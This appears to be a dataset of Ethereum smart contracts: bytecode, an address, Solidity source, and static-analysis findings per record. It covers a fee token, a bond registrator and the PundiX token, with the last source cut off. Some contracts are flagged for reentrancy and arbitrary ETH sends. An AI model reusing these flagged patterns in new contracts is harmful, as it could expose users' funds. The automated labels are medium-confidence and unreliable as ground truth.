1526006602052604090205460ff16155b1561140257601154600090156113dd576113d260646113cc601154866117cd90919063ffffffff16565b9061184f565b90506113dd81611891565b6113ef6113ea8285611ff5565b611653565b4780156113ff576113ff47611595565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061144757506001600160a01b03831660009081526006602052604090205460ff165b8061147957506017546001600160a01b0385811691161480159061147957506017546001600160a01b03848116911614155b1561148657506000611549565b6017546001600160a01b0385811691161480156114b157506016546001600160a01b03848116911614155b1561150c576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54900361150c576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561153757506016546001600160a01b03858116911614155b1561154957600d54600f55600e546010555b6115558484848461189e565b50505050565b6000818484111561157f5760405162461bcd60e51b815260040161071a9190611caa565b50600061158c8486611ff5565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561078b573d6000803e3d6000fd5b60006007548211156116365760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161071a565b60006116406118d2565b905061164c838261184f565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061169b5761169b611f54565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117189190611f99565b8160018151811061172b5761172b611f54565b6001600160a01b0392831660209182029290920101526016546117519130911684610ddd565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061178a90859060009086903090429060040161200c565b600060405180830381600087803b1580156117a457600080fd5b505af11580156117b8573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826000036117df57506000610681565b60006117eb838561207d565b9050826117f8858361209c565b1461164c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161071a565b600061164c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f5565b6107fb3061dead83610f01565b806118ab576118ab611923565b6118b6848484611968565b8061155557611555601254600f55601354601055601454601155565b60008060006118df611a5f565b90925090506118ee828261184f565b9250505090565b600081836119165760405162461bcd60e51b815260040161071a9190611caa565b50600061158c848661209c565b600f541580156119335750601054155b801561193f5750601154155b1561194657565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061197a87611a9f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ac9087611afc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119db9086611b3e565b6001600160a01b0389166000908152600260205260409020556119fd81611b9d565b611a078483611be7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a4c91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611a7a828261184f565b821015611a9657505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611abc8a600f54601054611c0b565b9250925092506000611acc6118d2565b90506000806000611adf8e878787611c5a565b919e509c509a509598509396509194505050505091939550919395565b600061164c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061155b565b600080611b4b8385611fdd565b90508381101561164c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161071a565b6000611ba76118d2565b90506000611bb583836117cd565b30600090815260026020526040902054909150611bd29082611b3e565b30600090815260026020526040902055505050565b600754611bf49083611afc565b600755600854611c049082611b3e565b6008555050565b6000808080611c1f60646113cc89896117cd565b90506000611c3260646113cc8a896117cd565b90506000611c4a82611c448b86611afc565b90611afc565b9992985090965090945050505050565b6000808080611c6988866117cd565b90506000611c7788876117cd565b90506000611c8588886117cd565b90506000611c9782611c448686611afc565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611cd757858101830151858201604001528201611cbb565b81811115611ce9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107fb57600080fd5b8035611d1f81611cff565b919050565b60008060408385031215611d3757600080fd5b8235611d4281611cff565b946020939093013593505050565b600060208284031215611d6257600080fd5b813561164c81611cff565b600080600060608486031215611d8257600080fd5b8335611d8d81611cff565b92506020840135611d9d81611cff565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dd757600080fd5b823567ffffffffffffffff80821115611def57600080fd5b818501915085601f830112611e0357600080fd5b813581811115611e1557611e15611dae565b8060051b604051601f19603f83011681018181108582111715611e3a57611e3a611dae565b604052918252848201925083810185019188831115611e5857600080fd5b938501935b82851015611e7d57611e6e85611d14565b84529385019392850192611e5d565b98975050505050505050565b60008060408385031215611e9c57600080fd5b50508035926020909101359150565b600060208284031215611ebd57600080fd5b5035919050565b600060208284031215611ed657600080fd5b8135801515811461164c57600080fd5b60008060408385031215611ef957600080fd5b8235611f0481611cff565b91506020830135611f1481611cff565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611f9257611f92611f6a565b5060010190565b600060208284031215611fab57600080fd5b815161164c81611cff565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115611ff057611ff0611f6a565b500190565b60008282101561200757612007611f6a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561205c5784516001600160a01b031683529383019391830191600101612037565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561209757612097611f6a565b500290565b6000826120b957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122096daf7008a66041a4fc6986a67739983d856a6b2a212e90e9224ede02582b55c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,673
0xAAd52946E078Cd22D79050146d81a295bbC2b817
// File: contracts/BondToken_and_GDOTC/util/TransferETHInterface.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.1; interface TransferETHInterface { receive() external payable; event LogTransferETH( address indexed from, address indexed to, uint256 value ); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/BondToken_and_GDOTC/bondToken/BondTokenInterface.sol interface BondTokenInterface is IERC20 { event LogExpire( uint128 rateNumerator, uint128 rateDenominator, bool firstTime ); function mint(address account, uint256 amount) external returns (bool success); function expire(uint128 rateNumerator, uint128 rateDenominator) external returns (bool firstTime); function simpleBurn(address account, uint256 amount) external returns (bool success); function burn(uint256 amount) external returns (bool success); function burnAll() external returns (uint256 amount); function getRate() external view returns (uint128 rateNumerator, uint128 rateDenominator); } // File: contracts/BondToken_and_GDOTC/oracle/LatestPriceOracleInterface.sol /** * @dev Interface of the price oracle. */ interface LatestPriceOracleInterface { /** * @dev Returns `true`if oracle is working. */ function isWorking() external returns (bool); /** * @dev Returns the last updated price. Decimals is 8. **/ function latestPrice() external returns (uint256); /** * @dev Returns the timestamp of the last updated price. */ function latestTimestamp() external returns (uint256); } // File: contracts/BondToken_and_GDOTC/oracle/PriceOracleInterface.sol /** * @dev Interface of the price oracle. */ interface PriceOracleInterface is LatestPriceOracleInterface { /** * @dev Returns the latest id. The id start from 1 and increments by 1. */ function latestId() external returns (uint256); /** * @dev Returns the historical price specified by `id`. Decimals is 8. */ function getPrice(uint256 id) external returns (uint256); /** * @dev Returns the timestamp of historical price specified by `id`. */ function getTimestamp(uint256 id) external returns (uint256); } // File: contracts/BondToken_and_GDOTC/bondMaker/BondMakerInterface.sol interface BondMakerInterface { event LogNewBond( bytes32 indexed bondID, address indexed bondTokenAddress, uint256 indexed maturity, bytes32 fnMapID ); event LogNewBondGroup( uint256 indexed bondGroupID, uint256 indexed maturity, uint64 indexed sbtStrikePrice, bytes32[] bondIDs ); event LogIssueNewBonds( uint256 indexed bondGroupID, address indexed issuer, uint256 amount ); event LogReverseBondGroupToCollateral( uint256 indexed bondGroupID, address indexed owner, uint256 amount ); event LogExchangeEquivalentBonds( address indexed owner, uint256 indexed inputBondGroupID, uint256 indexed outputBondGroupID, uint256 amount ); event LogLiquidateBond( bytes32 indexed bondID, uint128 rateNumerator, uint128 rateDenominator ); function registerNewBond(uint256 maturity, bytes calldata fnMap) external returns ( bytes32 bondID, address bondTokenAddress, bytes32 fnMapID ); function registerNewBondGroup( bytes32[] calldata bondIDList, uint256 maturity ) external returns (uint256 bondGroupID); function reverseBondGroupToCollateral(uint256 bondGroupID, uint256 amount) external returns (bool success); function exchangeEquivalentBonds( uint256 inputBondGroupID, uint256 outputBondGroupID, uint256 amount, bytes32[] calldata exceptionBonds ) external returns (bool); function liquidateBond(uint256 bondGroupID, uint256 oracleHintID) external returns (uint256 totalPayment); function collateralAddress() external view returns (address); function oracleAddress() external view returns (PriceOracleInterface); function feeTaker() external view returns (address); function decimalsOfBond() external view returns (uint8); function decimalsOfOraclePrice() external view returns (uint8); function maturityScale() external view returns (uint256); function nextBondGroupID() external view returns (uint256); function getBond(bytes32 bondID) external view returns ( address bondAddress, uint256 maturity, uint64 solidStrikePrice, bytes32 fnMapID ); function getFnMap(bytes32 fnMapID) external view returns (bytes memory fnMap); function getBondGroup(uint256 bondGroupID) external view returns (bytes32[] memory bondIDs, uint256 maturity); function generateFnMapID(bytes calldata fnMap) external view returns (bytes32 fnMapID); function generateBondID(uint256 maturity, bytes calldata fnMap) external view returns (bytes32 bondID); } // File: contracts/contracts/Interfaces/BondRegistratorInterface.sol pragma experimental ABIEncoderV2; interface BondRegistratorInterface { struct Points { uint64 x1; uint64 y1; uint64 x2; uint64 y2; } function getFnMap(Points[] memory points) external pure returns (bytes memory fnMap); function registerSBT( BondMakerInterface bondMaker, uint64 sbtStrikePrice, uint64 maturity ) external returns (bytes32); function registerBondGroup( BondMakerInterface bondMaker, uint256 callStrikePrice, uint64 sbtStrikePrice, uint64 maturity, bytes32 SBTId ) external returns (uint256 bondGroupId); function registerBond( BondMakerInterface bondMaker, Points[] memory points, uint256 maturity ) external returns (bytes32); } // File: contracts/contracts/SimpleAggregator/BondRegistrator.sol contract BondRegistrator is BondRegistratorInterface { function getFnMap(Points[] memory points) public override pure returns (bytes memory) { uint256[] memory polyline = _zipLines(points); return abi.encode(polyline); } function _zipLines(Points[] memory points) internal pure returns (uint256[] memory lines) { lines = new uint256[](points.length); for (uint256 i = 0; i < points.length; i++) { uint256 x1U256 = uint256(points[i].x1) << (64 + 64 + 64); // uint64 uint256 y1U256 = uint256(points[i].y1) << (64 + 64); // uint64 uint256 x2U256 = uint256(points[i].x2) << 64; // uint64 uint256 y2U256 = uint256(points[i].y2); // uint64 uint256 zip = x1U256 | y1U256 | x2U256 | y2U256; lines[i] = zip; } } /** * @notice Create SBT function mapping and register new SBT */ function registerSBT( BondMakerInterface bondMaker, uint64 sbtStrikePrice, uint64 maturity ) public override returns (bytes32) { Points[] memory SBTPoints = new Points[](2); SBTPoints[0] = Points(0, 0, sbtStrikePrice, sbtStrikePrice); SBTPoints[1] = Points( sbtStrikePrice, sbtStrikePrice, sbtStrikePrice * 2, sbtStrikePrice ); return registerBond(bondMaker, SBTPoints, maturity); } /** * @notice Create exotic option function mappings and register bonds, then register new bond group * @param SBTId SBT should be already registered and use SBT bond ID */ function registerBondGroup( BondMakerInterface bondMaker, uint256 callStrikePrice, uint64 sbtStrikePrice, uint64 maturity, bytes32 SBTId ) public override returns (uint256 bondGroupId) { bytes32[] memory bondIds = new bytes32[](4); uint64 lev2EndPoint = uint64(callStrikePrice * 2) - sbtStrikePrice; uint64 maxProfitVolShort = uint64( (callStrikePrice - sbtStrikePrice) / 2 ); bondIds[0] = SBTId; { Points[] memory CallPoints = new Points[](2); CallPoints[0] = Points(0, 0, uint64(callStrikePrice), 0); CallPoints[1] = Points( uint64(callStrikePrice), 0, uint64(callStrikePrice * 2), uint64(callStrikePrice) ); bondIds[1] = registerBond(bondMaker, CallPoints, maturity); } { Points[] memory Lev2Points = new Points[](3); Lev2Points[0] = Points(0, 0, sbtStrikePrice, 0); Lev2Points[1] = Points( sbtStrikePrice, 0, lev2EndPoint, uint64(callStrikePrice - sbtStrikePrice) ); Lev2Points[2] = Points( lev2EndPoint, uint64(callStrikePrice - sbtStrikePrice), lev2EndPoint + sbtStrikePrice, uint64(callStrikePrice - sbtStrikePrice) ); bondIds[2] = registerBond(bondMaker, Lev2Points, maturity); } { Points[] memory VolShortPoints = new Points[](4); VolShortPoints[0] = Points(0, 0, sbtStrikePrice, 0); VolShortPoints[1] = Points( sbtStrikePrice, 0, uint64(callStrikePrice), maxProfitVolShort ); VolShortPoints[2] = Points( uint64(callStrikePrice), maxProfitVolShort, lev2EndPoint, 0 ); VolShortPoints[3] = Points( lev2EndPoint, 0, lev2EndPoint + sbtStrikePrice, 0 ); bondIds[3] = registerBond(bondMaker, VolShortPoints, maturity); } return bondMaker.registerNewBondGroup(bondIds, uint256(maturity)); } /** * @notice Register bond token if same bond does not exist. If exists, return bondID */ function registerBond( BondMakerInterface bondMaker, Points[] memory points, uint256 maturity ) public override returns (bytes32) { bytes memory fnMap = getFnMap(points); bytes32 bondId = bondMaker.generateBondID(maturity, fnMap); (address bondAddress, , , ) = bondMaker.getBond(bondId); if (bondAddress != address(0)) { return bondId; } bondMaker.registerNewBond(maturity, fnMap); return bondId; } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80635999d15214610051578063818b80321461007a578063a38593881461009a578063b63954ae146100ad575b600080fd5b61006461005f366004610be4565b6100c0565b6040516100719190610e48565b60405180910390f35b61008d610088366004610c6e565b6100f6565b6040516100719190610e3f565b61008d6100a8366004610d1e565b6102b4565b61008d6100bb366004610cc4565b6103c8565b6060806100cc83610959565b9050806040516020016100df9190610dfb565b604051602081830303815290604052915050919050565b60006060610103846100c0565b90506000856001600160a01b0316632770aa6485846040518363ffffffff1660e01b8152600401610135929190610e5b565b60206040518083038186803b15801561014d57600080fd5b505afa158015610161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101859190610c1e565b90506000866001600160a01b03166326d6c97b836040518263ffffffff1660e01b81526004016101b59190610e3f565b60806040518083038186803b1580156101cd57600080fd5b505afa1580156101e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102059190610b9c565b5091925050506001600160a01b03811615610224575091506102ad9050565b6040516339b4de5560e11b81526001600160a01b03881690637369bcaa906102529088908790600401610e5b565b606060405180830381600087803b15801561026c57600080fd5b505af1158015610280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a49190610c36565b50929450505050505b9392505050565b60408051600280825260608281019093526000929190816020015b6102d7610a85565b8152602001906001900390816102cf579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b03168152602001856001600160401b03168152602001856001600160401b03168152508160008151811061034057fe5b60200260200101819052506040518060800160405280856001600160401b03168152602001856001600160401b03168152602001856002026001600160401b03168152602001856001600160401b0316815250816001815181106103a057fe5b60200260200101819052506103bf8582856001600160401b03166100f6565b95945050505050565b60408051600480825260a0820190925260009160609190602082016080803683370190505090506002808702869003906000906001600160401b0388168903049050848360008151811061041857fe5b60209081029190910101526040805160028082526060828101909352816020015b610441610a85565b815260200190600190039081610439579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b031681526020018a6001600160401b0316815260200160006001600160401b0316815250816000815181106104ab57fe5b602002602001018190525060405180608001604052808a6001600160401b0316815260200160006001600160401b031681526020018a6002026001600160401b031681526020018a6001600160401b03168152508160018151811061050c57fe5b602002602001018190525061052b8a82896001600160401b03166100f6565b8460018151811061053857fe5b60209081029190910101525060408051600380825260808201909252606091816020015b610564610a85565b81526020019060019003908161055c579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b03168152602001896001600160401b0316815260200160006001600160401b0316815250816000815181106105ce57fe5b60200260200101819052506040518060800160405280896001600160401b0316815260200160006001600160401b03168152602001846001600160401b03168152602001896001600160401b03168b036001600160401b03168152508160018151811061063757fe5b60200260200101819052506040518060800160405280846001600160401b03168152602001896001600160401b03168b036001600160401b031681526020018985016001600160401b03168152602001896001600160401b03168b036001600160401b0316815250816002815181106106ac57fe5b60200260200101819052506106cb8a82896001600160401b03166100f6565b846002815181106106d857fe5b60209081029190910101525060408051600480825260a08201909252606091816020015b610704610a85565b8152602001906001900390816106fc579050509050604051806080016040528060006001600160401b0316815260200160006001600160401b03168152602001896001600160401b0316815260200160006001600160401b03168152508160008151811061076e57fe5b60200260200101819052506040518060800160405280896001600160401b0316815260200160006001600160401b031681526020018a6001600160401b03168152602001836001600160401b0316815250816001815181106107cc57fe5b602002602001018190525060405180608001604052808a6001600160401b03168152602001836001600160401b03168152602001846001600160401b0316815260200160006001600160401b03168152508160028151811061082a57fe5b60200260200101819052506040518060800160405280846001600160401b0316815260200160006001600160401b031681526020018985016001600160401b0316815260200160006001600160401b03168152508160038151811061088b57fe5b60200260200101819052506108aa8a82896001600160401b03166100f6565b846003815181106108b757fe5b60209081029190910101525060405163072ca2af60e51b81526001600160a01b038a169063e59455e0906108fa9086906001600160401b038b1690600401610db3565b602060405180830381600087803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c9190610c1e565b9998505050505050505050565b606081516001600160401b038111801561097257600080fd5b5060405190808252806020026020018201604052801561099c578160200160208202803683370190505b50905060005b8251811015610a7f57600060c08483815181106109bb57fe5b6020026020010151600001516001600160401b0316901b9050600060808584815181106109e457fe5b6020026020010151602001516001600160401b0316901b905060006040868581518110610a0d57fe5b6020026020010151604001516001600160401b0316901b90506000868581518110610a3457fe5b6020026020010151606001516001600160401b03169050600081838587171717905080878781518110610a6357fe5b60209081029190910101525050600190930192506109a2915050565b50919050565b60408051608081018252600080825260208201819052918101829052606081019190915290565b600082601f830112610abc578081fd5b81356001600160401b03811115610ad1578182fd5b6020610ae08182840201610e74565b8281529250808301848201608080850287018401881015610b0057600080fd5b60005b85811015610b2757610b158984610b33565b84529284019291810191600101610b03565b50505050505092915050565b600060808284031215610b44578081fd5b610b4e6080610e74565b90508135610b5b81610eb2565b81526020820135610b6b81610eb2565b60208201526040820135610b7e81610eb2565b60408201526060820135610b9181610eb2565b606082015292915050565b60008060008060808587031215610bb1578384fd5b8451610bbc81610e9a565b602086015160408701519195509350610bd481610eb2565b6060959095015193969295505050565b600060208284031215610bf5578081fd5b81356001600160401b03811115610c0a578182fd5b610c1684828501610aac565b949350505050565b600060208284031215610c2f578081fd5b5051919050565b600080600060608486031215610c4a578283fd5b835192506020840151610c5c81610e9a565b80925050604084015190509250925092565b600080600060608486031215610c82578283fd5b8335610c8d81610e9a565b925060208401356001600160401b03811115610ca7578283fd5b610cb386828701610aac565b925050604084013590509250925092565b600080600080600060a08688031215610cdb578081fd5b8535610ce681610e9a565b9450602086013593506040860135610cfd81610eb2565b92506060860135610d0d81610eb2565b949793965091946080013592915050565b600080600060608486031215610d32578283fd5b8335610d3d81610e9a565b92506020840135610d4d81610eb2565b91506040840135610d5d81610eb2565b809150509250925092565b60008151808452815b81811015610d8d57602081850181015186830182015201610d71565b81811115610d9e5782602083870101525b50601f01601f19169290920160200192915050565b604080825283519082018190526000906020906060840190828701845b82811015610dec57815184529284019290840190600101610dd0565b50505092019290925292915050565b6020808252825182820181905260009190848201906040850190845b81811015610e3357835183529284019291840191600101610e17565b50909695505050505050565b90815260200190565b6000602082526102ad6020830184610d68565b600083825260406020830152610c166040830184610d68565b6040518181016001600160401b0381118282101715610e9257600080fd5b604052919050565b6001600160a01b0381168114610eaf57600080fd5b50565b6001600160401b0381168114610eaf57600080fdfea2646970667358221220776f30810a791360b24c0780dba761e4201d00b9454227bd7554b31f6d45cd6c64736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,674
0x358d12436080a01a16f711014610f8a4c2c2d233
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract PundiXToken is MintableToken, BurnableToken { event ShowCurrentIndex(address indexed to, uint256 value); event ShowBonus(address indexed to, uint256 value); string public constant name = "Pundi X Token"; string public constant symbol = "PXS"; uint8 public constant decimals = 18; uint256 public totalSupplyBonus; uint64[] public bonusTimeList = [ 1512057600,1514736000,1517414400,1519833600,1522512000,1525104000,1527782400,1530374400,1533052800,1535731200,1538323200,1541001600, 1543593600,1546272000,1548950400,1551369600,1554048000,1556640000,1559318400,1561910400,1564588800,1567267200,1569859200,1572537600, 1575129600,1577808000,1580486400,1582992000,1585670400,1588262400,1590940800,1593532800,1596211200,1598889600,1601481600,1604160000]; uint8 public currentTimeIndex; function PundiXToken() { currentTimeIndex = 0; } // -------------------------------------------------------- mapping(address=>uint256) weiBalance; address[] public investors; function addWei(address _address, uint256 _value) onlyOwner canMint public { uint256 value = weiBalance[_address]; if (value == 0) { investors.push(_address); } weiBalance[_address] = value.add(_value); } function getInvestorsCount() constant onlyOwner public returns (uint256 investorsCount) { return investors.length; } function getWeiBalance(address _address) constant onlyOwner public returns (uint256 balance) { return weiBalance[_address]; } // -------------------------------------------------------- function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { bool result = 